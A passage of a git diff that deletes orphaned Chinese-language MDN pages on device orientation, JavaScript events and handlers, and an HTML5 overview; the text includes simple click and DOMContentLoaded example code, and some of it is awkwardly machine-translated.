<li>Z轴垂直于地平面,想象成一条线连接着设备跟地心。背对地心的方向为正,指向地心的方向为负。</li> -</ul> -<h3 id="设备坐标系" style="line-height: 24px; font-size: 1.71428571428571rem;">设备坐标系</h3> -<p>设备坐标系是相对于设备中心的。我们使用小写的x,y,z来描述它的轴。</p> -<p>,<img alt="axes.png" class="internal default" src="/@api/deki/files/5694/=axes.png"></p> -<ul> - <li>x轴沿着屏幕表面,向右为正,向左为负。</li> - <li>y轴沿着屏幕表面,向上为正,向下为负。</li> - <li>z轴垂直屏幕表面或键盘,远离屏幕的方向为正。</li> -</ul> -<div class="note"> - <span style="line-height: 1.5;">注意:对于手机或平台而言,这里的设备方向总是相对于屏幕的标准方向,大部分是“竖屏”方向。而对于笔记本电脑来说,设备方向是相对于键盘的。如果你想检测设备方向变化来进行补偿调整,你可以使用</span><span style="line-height: 1.5; font-family: 'Courier New', 'Andale Mono', monospace;">orientationchange事件。</span></div> -<h2 id="旋转(Rotation)" style="line-height: 30px; font-size: 2.14285714285714rem;">旋转(Rotation)</h2> -<p>旋转描述的是设备在设备坐标系跟地球坐标系中任意轴上的差异值,用角度表示。</p> -<h3 id="Alpha" style="line-height: 24px; font-size: 1.71428571428571rem;">Alpha</h3> -<p>围绕z轴旋转设备将使alpha角度值发生变化:</p> -<p><img alt="alpha.png" class="internal default" src="/@api/deki/files/5695/=alpha.png"></p> -<p><span style="line-height: 1.5;">alpha为</span><span style="line-height: 1.5;">0°时表示设备的顶部正指北极方向,当设备向左旋转时,alpha将增加。</span></p> -<h3 id="Beta" style="line-height: 24px; font-size: 1.71428571428571rem;">Beta</h3> -<p>围绕x轴旋转,也就是前后旋转,将使beta值发生改变:</p> -<p><img alt="beta.png" class="internal default" src="/@api/deki/files/5696/=beta.png"></p> -<p><span style="line-height: 1.5;">当beta为0° 时表示设备顶部和底部与地表面的距离是一样的,当设备向前翻转时,beta递增到</span><span style="line-height: 1.5;">180°,向后翻转递减到-180°。</span></p> -<h3 id="Gamma" style="line-height: 24px; font-size: 1.71428571428571rem;">Gamma</h3> -<p><span style="line-height: 1.5;">当围绕y轴旋转,也就是左右倾斜设备时,将使gamma值发生改变:</span></p> -<p><img alt="gamma.png" class="internal default" src="/@api/deki/files/5697/=gamma.png"></p> -<p><span style="line-height: 1.5;">gamma等于0°表示设备左右两边与地表面的距离相等,当设备向右翻转时,gamma递增到</span><span style="line-height: 1.5;">90° ,向左翻转时,递减到-90°。</span></p> diff --git a/files/zh-cn/orphaned/web/guide/events/overview_of_events_and_handlers/index.html b/files/zh-cn/orphaned/web/guide/events/overview_of_events_and_handlers/index.html deleted file mode 100644 index 88a0ff78ec..0000000000 --- a/files/zh-cn/orphaned/web/guide/events/overview_of_events_and_handlers/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Overview of Events and Handlers -slug: orphaned/Web/Guide/Events/Overview_of_Events_and_Handlers -translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers -original_slug: Web/Guide/Events/Overview_of_Events_and_Handlers ---- -<div class="summary"> -<p>事件和事件处理的概述解释了用于响应在Web页面时间发生的事件的代码设计模式,并总结了由现代Web浏览器处理的此类事件的类型。</p> -</div> - -<p> </p> - -<p>事件和事件处理提供核心技术JavaScript的反应时间的一个网页的用户保持开放的过程中发生的事件,包括发生在一个页面正在准备显示事件,与网页的内容由于用户交互事件,到设备上浏览器运行相关的事件,或事件由于其他原因如媒体流的播放或动画时间。</p> - -<p>事件和事件处理提供核心技术JavaScript的反应时间的一个网页的用户保持开放的过程中发生的事件,包括发生在一个页面正在准备显示事件,与网页的内容由于用户交互事件,到设备上浏览器运行相关的事件,或事件由于其他原因如媒体流的播放或动画时间。</p> - -<p> </p> - -<p>事件和事件处理成为Web编程的核心,添加了浏览器的语言,伴随着浏览器从呈现和加载页面呈现到事件驱动、基于回流的页面渲染的转换结构的切换。最初,浏览器等待,直到它们接收到与页面相关的所有资源,解析、处理、绘制并向用户呈现页面。显示的页面保持不变,直到浏览器请求一个新页面为止。随着动态页面呈现的改变,浏览器在处理、绘制、呈现内容和等待一些新的事件触发之间不断循环。事件触发器包括完成网络上资源的加载,例如,下载一个现在可以在屏幕上绘制的图像,完成由浏览器解析资源的过程,例如处理页面的HTML内容、用户与页面内容的交互,例如单击按钮。道格拉斯克罗克福德的几个讲座有效地解释了这种变化,特别是他说的,一个不方便的API:DOM的理论,解释了原来的浏览器流流量的变化</p> - -<div style="margin: 0 auto; width: 68%;"><img alt="A comparison of the sequential and event-driven browser load sequences." src="https://mdn.mozillademos.org/files/6641/Browser_sequence_comparitive.svg" style="height: 454px; width: 1857px;"></div> - -<p>到事件驱动的浏览器。后一种方法将最后一个步骤从单个流变为一个永久循环,在接下来的步骤中,等待和处理新事件的发生。后一种方法的创新允许在资源尚未获得的情况下部分地呈现页面;该方法还允许使用JavaScript驱动的事件驱动操作。(可以从多个渠道获得,包括这一个)。目前,JavaScript代码的所有执行环境都使用事件和事件处理。</p> - -<h2 id="事件设计模式">事件设计模式</h2> - -<p>事件系统的核心是简单的编程设计模式。模式从一个事件和一个事件的协议开始:</p> - -<ul> - <li>事件使用的名称字符串,</li> - <li>用于表示该事件的关键属性的数据结构的类型,以及</li> - <li>将“发出”该事件的JavaScript对象。</li> -</ul> - -<p>该模式的实现</p> - -<ul> - <li>定义一个JavaScript函数,它作为一个参数,被商定的数据结构,以及</li> - <li>使用将发出事件的对象使用名称字符串注册该函数。</li> -</ul> - -<p>该功能称为“听众”或“与名称interchangibly处理”。这一模式可以很容易地使用完全自定义代码,如文章中关于自定义事件的说明所述。这种模式也被现代Web浏览器所使用,它定义了响应用户输入或浏览器活动而发出的许多事件。</p> - -<p>现代Web浏览器使用标准化方法跟踪事件模式。浏览器使用的数据结构对于事件的性质,从eventprototype对象派生对象。浏览器使用为功能,将处理这些数据结构的方法称为addEventListener期望作为参数的字符串类型的名称和事件处理函数的注册方法。最后,浏览器定义了大量的对象作为事件发射器,并定义了由对象生成的各种各样的事件类型。</p> - -<h2 id="Button_Event_Handler" name="Button_Event_Handler">按钮的事件处理程序演示</h2> - -<p>例如,浏览器按钮元素意在发出事件命名为'click'响应鼠标单击或当显示在触摸敏感表面,一个手指单击。我们可以在HTML页面中定义一个按钮:</p> - -<pre class="brush: html"><button id="buttonOne">Click here to emit a 'click' event</button></pre> - -<p>而且,在JavaScript代码中,我们可以首先定义一个函数来监听“click”事件:</p> - -<pre class="brush: js">var example_click_handler = function (ev){ - var objKind = (ev instanceof Event) ? "EventPrototype" : "ObjectPrototype"; - alert("We got a click event at " + ev.timeStamp + " with an argument object derived from: " + objKind ); -};</pre> - -<p>第二,我们使用按钮对象注册我们的函数,无论是在脚本方面,还是使用HTML页面的DOM(文档对象模型)表示:</p> - -<pre class="brush: js">var buttonDOMElement = document.querySelector('#buttonOne'); -buttonDOMElement.addEventListener('click', example_click_handler);</pre> - -<p>或在HTML页面中添加功能的“onclick”属性的值,虽然这第二种方法通常只用于非常简单的网页。</p> - -<p>{{ EmbedLiveSample('Button_Event_Handler') }}</p> - -<p>这段代码依赖,有一种叫做“点击”事件,称任何监听协议(或处理)与一个事件对象参数的函数(实际上,在这种情况下,衍生的MouseEvent对象),将使用HTML按钮元素在用户交互。代码没有明显影响到用户的按钮,可以通过将鼠标指针放在HTML按钮,点击鼠标左键,或用手指或手写笔点上面的HTML按钮屏幕互动;当这种情况发生时,该<code>buttonDOMElement</code> JavaScript对象会调用example_click_handler功能与事件对象作为参数。函数将依次执行程序员选择的任何操作,在这种情况下,打开一个HTML警报对话框。注意,处理程序对‘ev’对象有访问权,因为它作为参数传递;对象有关于事件的信息,特别是事件发生的时间。</p> - -<p>作为第二个例子,集成到Web页面中的许多现代JavaScript被封装到事件函数调用中,以确保代码只在HTML被处理并可用于更改或装饰时执行。例如,代码可以附加为:</p> - -<pre class="brush: js">var funcInit = function(){ - // user code goes here and can safetly address all the HTML elements from the page - // since the document has successfully been 'loaded' -} -document.addEventListener('DOMContentLoaded', funcInit); - -</pre> - -<p>所以,此代码只会在文档对象发出“DOMContentLoaded“事件因为HTML解析完毕和javascript对象创建代表每个HTML文档的节点执行。注意,在这个例子中,代码甚至没有为函数命名事件参数,因为代码永远不需要使用描述事件的数据结构;相反,代码只需要等待运行,直到事件发生之后。</p> - -<p>因此,该模式易于学习和实现。事件的困难来自于学习在现代Web浏览器中生成的各种各样的事件。学习如何编写处理程序函数也有一些微妙之处,因为这些代码异步工作,可能会重复运行,但情况略有不同。</p> - -<h2 id="值得注意的事件">值得注意的事件</h2> - -<p>Web浏览器定义了大量事件,所以列出所有事件是不现实的。事件引用试图维护现代Web浏览器中使用的标准事件列表。</p> - -<p>一般来说,我们可以根据事件的对象来区分不同类型的事件,包括:</p> - -<ul> - <li>窗口window对象,如由于调整浏览器大小,</li> - <li>window.screen对象,如由于设备的方向变化,</li> - <li>文档document对象,包括页面的加载、修改、用户交互和卸载,</li> - <li>DOM(文档对象模型)树中的对象,包括用户交互或修改,</li> - <li>XMLHttpRequest对象用于网络的要求,和</li> - <li>当媒体流播放器改变状态时,诸如音频audio和视频video等媒体对象。</li> -</ul> - -<p>虽然这个列表目前不完整。</p> - -<p>一些值得注意的事件是:</p> - -<div class="note"> -<p><strong>Note: </strong>这份清单将需要相关的工作;这项工作正在等待一些关于文件的全球重组工作。这还需要找到在页面加载期间所涉及到的事件的良好解释,如部分讨论在 <em><a href="http://ablogaboutcode.com/2011/06/14/how-javascript-loading-works-domcontentloaded-and-onload/">this web page</a> 或 <a href="http://stackoverflow.com/questions/1795438/load-and-execution-sequence-of-a-web-page">this Stack Overflow question</a>. </em></p> -</div> - -<ul> - <li>当页面完成渲染时,全局对象窗口window发出一个名为“load”的事件,这意味着所有资源都已下载并执行,以便运行脚本并显示图像,</li> - <li>当浏览器窗口window的高度或宽度被用户更改时,全局对象窗口发出一个称为“resize”的事件,</li> - <li>DOM文档对象代表了HTML文件发出一个事件被称为”DOMContentLoaded“当文档加载完毕,</li> - <li>当鼠标指针位于HTML页面的DOM节点顶部时,当用户按下鼠标按钮时,如div或button的DOM节点对象发出一个名为“click”的事件。</li> -</ul> - -<h2 id="事件对象层次结构">事件对象层次结构</h2> - -<p>Web浏览器定义了许多不同类型的事件。每个定义包括,作为数据结构传递给处理函数,一个对象继承自EventPrototype对象。</p> - -<p>事件对象类层次结构的部分图是:</p> - -<div class="note"> -<p><strong>Note:</strong> 下面的图标是不完整的.</p> -</div> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6633/Js_Event_Object_Hierarchy.svg" style="height: 496px; width: 1417px;"></p> - -<p>Web API文档包含定义事件对象的页面,该事件对象还包括事件对象已知的DOM事件子类。</p> - -<h2 id="文档">文档</h2> - -<p>下面是三个链接对MDN(Mozilla开发者网络)网站程序员从事于事件相关的开发是特别有用的:</p> - -<ul> - <li><a href="/en-US/docs/Web/Guide/API/DOM/Events">Event Guide</a> 是 <a href="/en-US/docs/Web/Guide">Web Developers' Guide</a>的一部分,</li> - <li><a href="/en-US/docs/Web/Reference/Events">Event Reference</a>,</li> - <li>Web API 文档中的 <a href="/en-US/docs/Web/API/Event"><code>Event</code></a> 对象.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/guide/html/html/index.html b/files/zh-cn/orphaned/web/guide/html/html/index.html deleted file mode 100644 index 2e8c247454..0000000000 --- a/files/zh-cn/orphaned/web/guide/html/html/index.html +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: HTML5 -slug: orphaned/Web/Guide/HTML/HTML -tags: - - HTML - - HTML5 - - Web - - Web 开发 - - 帮助 - - 指南 - - 综述 -original_slug: Web/Guide/HTML/HTML ---- -<div class="callout-box"> -<div style="font: normal 20px 'Bebas Neue','League Gothic',Haettenschweiler,Impact,'Arial Narrow',sans-serif; text-transform: uppercase;">HTML5 演示</div> - -<p>展示了实战中的最新 HTML 技术的 <a href="/zh-CN/demos/tag/tech:html5" title="demos/tag/tech:css3/">演示汇总</a>。</p> - -<p><a href="/zh-CN/docs/HTML/HTML5" title="html5"><img alt="HTML5_Logo_128.png" class="default internal" src="/@api/deki/files/6020/=HTML5_Logo_128.png"></a></p> -</div> - -<p><span class="seoSummary"><strong>HTML5</strong> 是 <a href="/zh-CN/docs/HTML" title="HTML">HTML</a> 标准的最新演进版本。 </span>这个术语代表了两个不同的概念:</p> - -<p><span class="seoSummary">它是</span><span style="line-height: 1.5;">一个新的 HTML </span><em>语言</em><span style="line-height: 1.5;">版本</span><span style="line-height: 1.5;">包含了新的元素,属性和行为,</span><span class="seoSummary" style="line-height: 1.5;">同时包含了一系列可以被用来让 Web 站点和应用更加多样化,功能更强大的技术。</span><span style="line-height: 1.5;"> 这套技术往往被称作 </span><em>HTML5 和它的朋友们,</em><span style="line-height: 1.5;">通常简称为 </span><em>HTML5</em><span style="line-height: 1.5;">。</span></p> - -<p>从要对全部所有的 Web 开发人员有用这一点出发,这个参考页面链接了有关 HTML5 技术的大量资源,并且基于它们各自的功能,把它们归类成了若干组。</p> - -<ul> - <li><em>语义</em>:能够让你更恰当地描述你的内容是什么。</li> - <li><em>连通性</em>:能够让你和服务器之间通过创新的新技术方法进行通信。</li> - <li><em>离线 & 存储</em>:能够让网页在客户端本地存储数据以及更高效地离线运行。</li> - <li><em>多媒体</em>:使 video 和 audio 成为了在所有 Web 中的一等公民。</li> - <li><em>2D/3D 绘图 & 效果</em>:提供了一个更加分化范围的呈现选择。</li> - <li><em>性能 & 集成</em>:提供了非常显著的性能优化和更有效的计算机硬件使用。</li> - <li><em>设备访问 Device Access</em>:能够处理各种输入和输出设备。</li> - <li><em>样式设计</em>: 让作者们来创作更加复杂的主题吧!</li> -</ul> - -<div class="cleared row topicpage-table"> -<div class="section"> -<h2 id="语义" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">语义</h2> - -<dl> - <dt><a href="/zh-CN/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="HTML5 文档的节段和外形概要">HTML5 中的节段和外观概要</a></dt> - <dd>HTML5 中新的外观概要和节段元素一览: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("aside")}} 和 {{HTMLElement("hgroup")}}.</dd> - <dt><a href="/zh-CN/docs/Web/Guide/HTML/Using_HTML5_audio_and_video" title="使用 HTML5 的音频和视频">使用 HTML5 的音频和视频</a></dt> - <dd>{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并能够操作新的多媒体内容。</dd> - <dt><a href="/zh-CN/docs/HTML/Forms_in_HTML" title="HTML5 的表单">HTML5 的表单</a></dt> - <dd>看一下 HTML5 中对 web 表单的改进:约束确认 API,一些新的属性,{{HTMLElement("input")}} 属性的一些新值 {{htmlattrxref("type", "input")}} 和新的 {{HTMLElement("output")}} 元素。</dd> - <dt>新的语义元素</dt> - <dd>除了区段,媒体和表单元素之外,众多的新元素,像 {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, 或者 {{HTMLElement("meter")}},也增加了<a href="/zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_element_list" title="HTML/HTML5/HTML5_element_list">有效的 HTML5 元素</a>的数量。</dd> - <dt>{{HTMLElement("iframe")}} 的改进</dt> - <dd>使用 {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}}, 和 {{htmlattrxref("srcdoc", "iframe")}} 属性,作者们现在可以精确控制 {{HTMLElement("iframe")}} 元素的安全级别以及期望的渲染。</dd> - <dt><a href="/zh-CN/docs/MathML" title="MathML">MathML</a></dt> - <dd>允许直接嵌入数学公式。</dd> - <dt><a href="/zh-CN/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5" title="HTML/HTML5/Introduction_to_HTML5">HTML5 入门</a></dt> - <dd>本文介绍了如何标示在网页设计或 Web 应用程序中使用 HTML5 时碰到的问题。</dd> - <dt><a href="/zh-CN/docs/HTML/HTML5/HTML5_Parser" title="HTML/HTML5/HTML5 parser">HTML5 兼容的解析器</a></dt> - <dd>用于把 HTML5 文档的字节转换成 DOM 的解释器,已经被扩展了,并且现在精确地定义了在所有情况下使用的行为,甚至当碰到无效的 HTML 这种情况。这就导致了 HTML5 兼容的浏览器之间极大的可预测性和互操作性。</dd> -</dl> - -<h2 id="连通性" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">连通性</h2> - -<dl> - <dt><a href="/zh-CN/docs/WebSockets" title="WebSockets">Web Sockets</a></dt> - <dd>允许在页面和服务器之间建立持久连接并通过这种方法来交换非 HTML 数据。</dd> - <dt><a href="/zh-CN/docs/Server-sent_events/Using_server-sent_events" title="Server-sent_events/Using_server-sent_events">Server-sent events</a></dt> - <dd>允许服务器向客户端推送事件,而不是仅在响应客户端请求时服务器才能发送数据的传统范式。</dd> - <dt><a href="/zh-CN/docs/WebRTC" title="WebRTC">WebRTC</a></dt> - <dd>这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。</dd> -</dl> - -<h2 id="离线_存储" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">离线 & 存储</h2> - -<dl> - <dt><a href="/zh-CN/docs/HTML/Using_the_application_cache" title="Offline_resources_in_Firefox">离线资源:应用程序缓存</a></dt> - <dd>火狐全面支持 HTML5 离线资源规范。其他大多数针对离线资源仅提供了某种程度上的支持。</dd> - <dt><a href="/zh-CN/docs/Online_and_offline_events" title="Online_and_offline_events">在线和离线事件</a></dt> - <dd>Firefox 3 支持 WHATWG 在线和离线事件,这可以让应用程序和扩展检测是否存在可用的网络连接,以及在连接建立和断开时能感知到。</dd> - <dt><a href="/zh-CN/docs/Web/Guide/API/DOM/Storage/Storage" title="DOM/Storage">WHATWG 客户端会话和持久化存储 (又名 DOM 存储)</a></dt> - <dd>客户端会话和持久化存储让 web 应用程序能够在客户端存储结构化数据。</dd> - <dt><a href="/zh-CN/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt> - <dd>是一个为了能够在浏览器中存储大量结构化数据,并且能够在这些数据上使用索引进行高性能检索的 Web 标准。</dd> - <dt><a href="/zh-CN/docs/Using_files_from_web_applications" title="Using_files_from_web_applications">自 web 应用程序中使用文件</a></dt> - <dd>对新的 HTML5 文件 API 的支持已经被添加到 Gecko 中,从而使 Web 应用程序可以访问由用户选择的本地文件。这包括使用 <a href="/zh-CN/docs/HTML/Element/Input#attr-type" title="HTML/Element/input#attr-type"><strong>type</strong></a> <span style="font-family: courier new;">file</span> 的 <span style="font-family: monospace;">{{HTMLElement("input")}}</span> 元素的新的 <a href="/zh-CN/docs/HTML/Element/Input#attr-multiple" title="HTML/Element/input#attr-multiple"><strong>multiple</strong></a> 属性针对多文件选择的支持。 还有 <a href="/zh-CN/docs/DOM/FileReader" title="DOM/FileReader"><code>FileReader</code></a>。</dd> -</dl> - -<h2 id="多媒体" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">多媒体</h2> - -<dl> - <dt><a href="/zh-CN/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">使用 HTML5 音视频</a></dt> - <dd>{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并支持新的多媒体内容的操作。</dd> - <dt><a href="/zh-CN/docs/WebRTC" title="WebRTC">WebRTC</a></dt> - <dd>这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。</dd> - <dt><a href="/zh-CN/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">使用 Camera API</a></dt> - <dd>允许使用,操作计算机摄像头,并从中存储图像。Allows to use, manipulate and store an image from the computer's camera.</dd> - <dt>Track 和 WebVTT</dt> - <dd> {{HTMLElement("track")}} 元素支持字幕和章节。<a href="/zh-CN/docs/HTML/WebVTT" title="HTML/WebVTT">WebVTT</a> 一个文本轨道格式。</dd> -</dl> - -<h2 id="3D_图像_效果" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">3D, 图像 & 效果</h2> - -<dl> - <dt><a href="/zh-CN/docs/Canvas_tutorial" title="Canvas tutorial">Canvas 教程</a></dt> - <dd>了解有关新的 <code>{{HTMLElement("canvas")}}</code> 元素以及如何在火狐中绘制图像和其他对象。</dd> - <dt><a href="/zh-CN/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">HTML5 针对 <code><canvas></code> 元素的文本 API</a></dt> - <dd>HTML5 文本 API 现在由 {{HTMLElement("canvas")}} 元素支持。</dd> - <dt><a href="/zh-CN/docs/WebGL" title="WebGL">WebGL</a></dt> - <dd>WebGL 通过引入了一套非常地符合 OpenGL ES 2.0 并且可以用在 HTML5 {{HTMLElement("canvas")}} 元素中的 API 给 Web 带来了 3D 图像功能。</dd> - <dt><a href="/zh-CN/docs/SVG" title="SVG">SVG</a></dt> - <dd>一个基于 XML 的可以直接嵌入到 HTML 中的矢量图像格式。</dd> - <dt> </dt> -</dl> -</div> - -<div class="section"> -<h2 id="性能_集成" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">性能 & 集成</h2> - -<dl> - <dt><a href="/zh-CN/docs/DOM/Using_web_workers" title="Using web workers">Web Workers</a></dt> - <dd>能够把 JavaScript 计算委托给后台线程,通过允许这些活动以防止使交互型事件变得缓慢。</dd> - <dt><code><a href="/zh-CN/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code> Level 2</dt> - <dd>允许异步读取页面的某些部分,允许其显示动态内容,根据时间和用户行为而有所不同。这是在 <a href="/zh-CN/docs/AJAX" title="AJAX">Ajax</a>背后的技术。</dd> - <dt>即时编译的 JavaScript 引擎</dt> - <dd>新一代的 JavaScript 引擎功能更强大,性能更杰出。</dd> - <dt><a href="https://developer.mozilla.org/zh-CN/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating_the_browser_history">History API</a></dt> - <dd>允许对浏览器历史记录进行操作。这对于那些交互地加载新信息的页面尤其有用。</dd> - <dt><a href="/zh-CN/docs/HTML/Content_Editable" title="HTML/Content Editable">conentEditable 属性:把你的网站改变成 wiki !</a></dt> - <dd>HTML5 已经把 contentEditable 属性标准化了。了解更多关于这个特性的内容。</dd> - <dt><a href="/zh-CN/docs/DragDrop/Drag_and_Drop" title="DragDrop/Drag_and_Drop">拖放</a></dt> - <dd>HTML5 的拖放 API 能够支持在网站内部和网站之间拖放项目。同时也提供了一个更简单的供扩展和基于 Mozilla 的应用程序使用的 API。</dd> - <dt><a href="/zh-CN/docs/HTML/Focus_management_in_HTML" title="Focus_management_in_HTML">HTML 中的焦点管理</a></dt> - <dd>支持新的 HTML5 <code>activeElement</code> 和 <code>hasFocus</code> 属性。</dd> - <dt><a href="/zh-CN/docs/Web-based_protocol_handlers" title="Web-based_protocol_handlers">基于 Web 的协议处理程序</a></dt> - <dd>你现在可以使用 <code>navigator.registerProtocolHandler()</code> 方法把 web 应用程序注册成一个协议处理程序。</dd> - <dt><a href="/zh-CN/docs/DOM/window.requestAnimationFrame" title="DOM/window.requestAnimationFrame"><code>requestAnimationFrame</code></a></dt> - <dd>允许控制动画渲染以获得更优性能。</dd> - <dt><a href="/zh-CN/docs/DOM/Using_fullscreen_mode" title="DOM/Using_full-screen_mode">全屏 API</a></dt> - <dd>为一个网页或者应用程序控制使用整个屏幕,而不显示浏览器界面。</dd> - <dt><a href="/zh-CN/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">指针锁定 API</a></dt> - <dd>允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。</dd> - <dt><a href="/zh-CN/docs/Online_and_offline_events" title="Online_and_offline_events">在线和离线事件</a></dt> - <dd>为了构建一个良好的具有离线功能的 web 应用程序,你需要知道什么时候你的应用程序确实离线了。顺便提一句,在你的应用程序又再回到在线状态时你也需要知道。</dd> -</dl> - -<h2 id="设备访问" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">设备访问</h2> - -<dl> - <dt><a href="/zh-CN/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">使用 Camera API</a></dt> - <dd>允许使用和操作计算机的摄像头,并从中存取照片。</dd> - <dt><a href="/zh-CN/docs/DOM/Touch_events" title="DOM/Touch_events">触控事件</a></dt> - <dd>对用户按下触控屏的事件做出反应的处理程序。</dd> - <dt><a href="/zh-CN/docs/WebAPI/Using_geolocation" title="Using_geolocation">使用地理位置定位</a></dt> - <dd>让浏览器使用地理位置服务定位用户的位置。</dd> - <dt><a href="/zh-CN/docs/Detecting_device_orientation" title="Detecting_device_orientation">检测设备方向</a></dt> - <dd>让用户在运行浏览器的设备变更方向时能够得到信息。这可以被用作一种输入设备(例如制作能够对设备位置做出反应的游戏)或者使页面的布局跟屏幕的方向相适应(横向或纵向)。</dd> - <dt><a href="/zh-CN/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">指针锁定 API</a></dt> - <dd>允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。</dd> -</dl> - -<h2 id="样式" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">样式</h2> - -<p><a href="/zh-CN/docs/CSS" title="CSS">CSS</a> 已经扩展到能够以一个更加复杂的方法给元素设置样式。这通常被称为 <a href="/zh-CN/docs/CSS/CSS3" title="CSS/CSS3">CSS3</a>, 尽管 CSS 已经不再是很难触动的规范,并且不同的模块并不全部位于 level 3:其中一些位于 level 1 而另一些位于 level 4,覆盖了所有中间的层次。</p> - -<dl> - <dt>新的背景样式特性</dt> - <dd>现在可以使用 {{cssxref("box-shadow")}} 给逻辑框设置一个阴影,而且还可以设置 <a href="/zh-CN/docs/CSS/Multiple_backgrounds" title="CSS/Multiple_backgrounds">多背景</a>。</dd> - <dt>更精美的边框</dt> - <dd>现在不仅可以使用图像来格式化边框,使用 {{cssxref("border-image")}} 和它关联的普通属性,而且可以通过 {{cssxref("border-radius")}} 属性来支持圆角边框。</dd> - <dt>为你的样式设置动画</dt> - <dd>使用 <a href="/zh-CN/docs/CSS/Using_CSS_transitions" title="CSS/Using_CSS_transitions">CSS Transitions</a> 以在不同的状态间设置动画,或者使用 <a href="/zh-CN/docs/CSS/Using_CSS_animations" title="CSS/Using_CSS_animations">CSS Animations</a> 在页面的某些部分设置动画而不需要一个触发事件,你现在可以在页面中控制移动元素了。</dd> - <dt>排版方面的改进</dt> - <dd>作者拥有更高的控制已达到更佳的排版。他们不但可以控制 {{cssxref("text-overflow")}} 和 <a href="/zh-CN/docs/CSS/hyphens" title="CSS/hyphens">hyphenation</a>, 而且也可以给它设置一个 <a href="/zh-CN/docs/CSS/text-shadow" title="CSS/text-shadow">阴影</a> 或者更精细地控制它的 <a href="/zh-CN/docs/CSS/text-decoration" title="SVG/Attribute/text-decoration">decorations</a>。感谢新的 {{cssxref("@font-face")}} 规则,现在我们可以下载并应用自定义的字体了。.</dd> - <dt>新的展示性布局</dt> - <dd>为了提高设计的灵活性,已经有两种新的布局被添加了进来:<a href="/zh-CN/docs/CSS/Using_CSS_multi-column_layouts" title="CSS/Using_CSS_multi-column_layouts">CSS 多栏布局</a>, 以及 <a href="/zh-CN/docs/CSS/Flexbox" title="CSS/Flexbox">CSS 灵活方框布局</a>。</dd> -</dl> -</div> -</div> - -<p>译注:</p> - -<p>被废弃的重复链接:https://developer.mozilla.org/zh-CN/docs/HTML5_junk</p> diff --git a/files/zh-cn/orphaned/web/guide/html/html5/constraint_validation/index.html b/files/zh-cn/orphaned/web/guide/html/html5/constraint_validation/index.html deleted file mode 100644 index c5a617d757..0000000000 --- 